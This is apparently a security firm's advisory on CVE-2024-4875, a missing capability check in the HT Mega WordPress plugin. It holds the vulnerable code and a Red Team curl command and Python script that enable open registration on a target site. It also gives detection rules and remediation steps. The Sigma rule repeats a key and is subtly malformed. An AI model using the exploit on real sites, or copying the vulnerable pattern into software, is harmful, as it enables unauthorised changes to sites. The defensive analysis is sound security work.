CVE-2024-4875

Executive Summary

CVE-2024-4875 is a missing capability check vulnerability in the HT Mega – Absolute Addons For Elementor WordPress plugin, affecting versions up to and including 2.5.2. The flaw resides in the ajax_dismiss function, which fails to verify user permissions before processing AJAX requests. This allows authenticated attackers with subscriber-level access or higher to modify arbitrary WordPress options, such as users_can_register, potentially enabling unauthorized user registration and account creation. The vulnerability has a CVSS score of 4.3 (Medium) and a low EPSS score of 0.0%, indicating limited active exploitation in the wild. As a WordPress plugin vulnerability, it is critical to assess the security posture of any site using this plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is a third-party component within the WordPress ecosystem, and its supply chain risk is moderate due to the lack of a vendor patch. Site administrators should monitor for updates and consider disabling the plugin until a fix is available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely via HTTP requests.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) – Attacker needs subscriber-level authentication.
• User Interaction (UI): None (N) – No user action is needed.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): None (N) – No data disclosure.
• Integrity (I): Low (L) – Attacker can modify options like users_can_register.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is 4.3, the ability to enable unauthorized user registration can lead to account takeover or spam accounts, increasing the risk for WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the ajax_dismiss function within the HT Mega plugin. This function is intended to dismiss admin notices via AJAX, but it lacks a capability check (e.g., current_user_can('manage_options')). The function uses update_option() to save the dismissal state, but the option name is partially user-controlled via the $_POST['option_name'] parameter. An authenticated attacker with subscriber-level access can send a crafted AJAX request to modify arbitrary WordPress options, such as users_can_register, to enable open registration.

Root Cause: Missing capability check in the ajax_dismiss function, allowing low-privileged users to call update_option() with arbitrary option names.

Attack Flow:

1. Attacker logs in as a subscriber.
2. Sends a POST request to /wp-admin/admin-ajax.php with action=ajax_dismiss and option_name=users_can_register.
3. The plugin calls update_option('users_can_register', 1) without checking permissions.
4. WordPress now allows anyone to register, leading to unauthorized account creation.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.5.2):

add_action('wp_ajax_ajax_dismiss', 'ajax_dismiss');
function ajax_dismiss() {
    $option_name = sanitize_text_field($_POST['option_name']);
    update_option($option_name, 1);
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_ajax_dismiss', 'ajax_dismiss');
function ajax_dismiss() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $option_name = sanitize_text_field($_POST['option_name']);
    // Whitelist allowed options
    $allowed_options = array('ht_mega_dismissed_notice_1', 'ht_mega_dismissed_notice_2');
    if (!in_array($option_name, $allowed_options)) {
        wp_die('Invalid option', 400);
    }
    update_option($option_name, 1);
    wp_die();
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with HT Mega plugin version <= 2.5.2.
• Valid subscriber account credentials.

Exploit Steps:

1. Obtain a nonce for the AJAX action (if required, but the vulnerable code does not check nonces).
2. Send a POST request to enable user registration:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=ajax_dismiss&option_name=users_can_register" \
  --cookie "wordpress_logged_in_<hash>=<subscriber_cookie>"

3. Verify that users_can_register is set to 1 by checking the site's registration page.

Automated Exploit (Python):

import requests

target = "https://target.com"
session = requests.Session()
session.cookies.set("wordpress_logged_in_<hash>", "<subscriber_cookie>")

payload = {
    "action": "ajax_dismiss",
    "option_name": "users_can_register"
}
response = session.post(f"{target}/wp-admin/admin-ajax.php", data=payload)
if response.status_code == 200:
    print("Option updated successfully")

Blue Team (Detection & Hardening)

Detection:

• Monitor AJAX requests to admin-ajax.php with action=ajax_dismiss from low-privileged users.
• Alert on changes to users_can_register option.

Hardening:

• Disable the HT Mega plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests with option_name=users_can_register.
• Restrict subscriber capabilities using a plugin like "User Role Editor".

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/admin-ajax.php with body containing action=ajax_dismiss and option_name=users_can_register.
• System: WordPress option users_can_register set to 1 unexpectedly.
• Logs: WordPress debug log entries showing update_option('users_can_register', 1) from subscriber-level users.

Detection Engineering

YARA Rule

rule CVE_2024_4875_HT_Mega_WordPress {
    meta:
        description = "Detects exploitation attempts for CVE-2024-4875 in HT Mega plugin"
        author = "Valters IT"
        date = "2025-04-08"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-4875"
    strings:
        $ajax_action = "ajax_dismiss" nocase
        $option_name = "users_can_register" nocase
    condition:
        $ajax_action and $option_name
}

Sigma Rule

title: CVE-2024-4875 HT Mega Plugin AJAX Option Manipulation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit missing capability check in HT Mega plugin to modify WordPress options
author: Valters IT
date: 2025-04-08
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=ajax_dismiss'
        cs-uri-query|contains: 'option_name=users_can_register'
    condition: selection
falsepositives:
    - Legitimate admin actions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-4875 HT Mega Plugin AJAX Option Manipulation";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=ajax_dismiss"; http_client_body;
    content:"option_name=users_can_register"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the HT Mega plugin until a patched version is released.
2. Review and revert any unauthorized changes to users_can_register option via wp-admin or database.
3. Remove any unauthorized user accounts created through this vulnerability.

Long-term Fix:

• Apply the vendor patch when available (currently UNKNOWN).
• Implement capability checks in custom WordPress plugins.
• Use a security plugin like Wordfence to monitor AJAX actions.

Workaround:

• Add a custom function to restrict the ajax_dismiss action to administrators only:

add_action('wp_ajax_ajax_dismiss', 'custom_ajax_dismiss_check', 1);
function custom_ajax_dismiss_check() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
}

Valters IT
Securing Digital Frontiers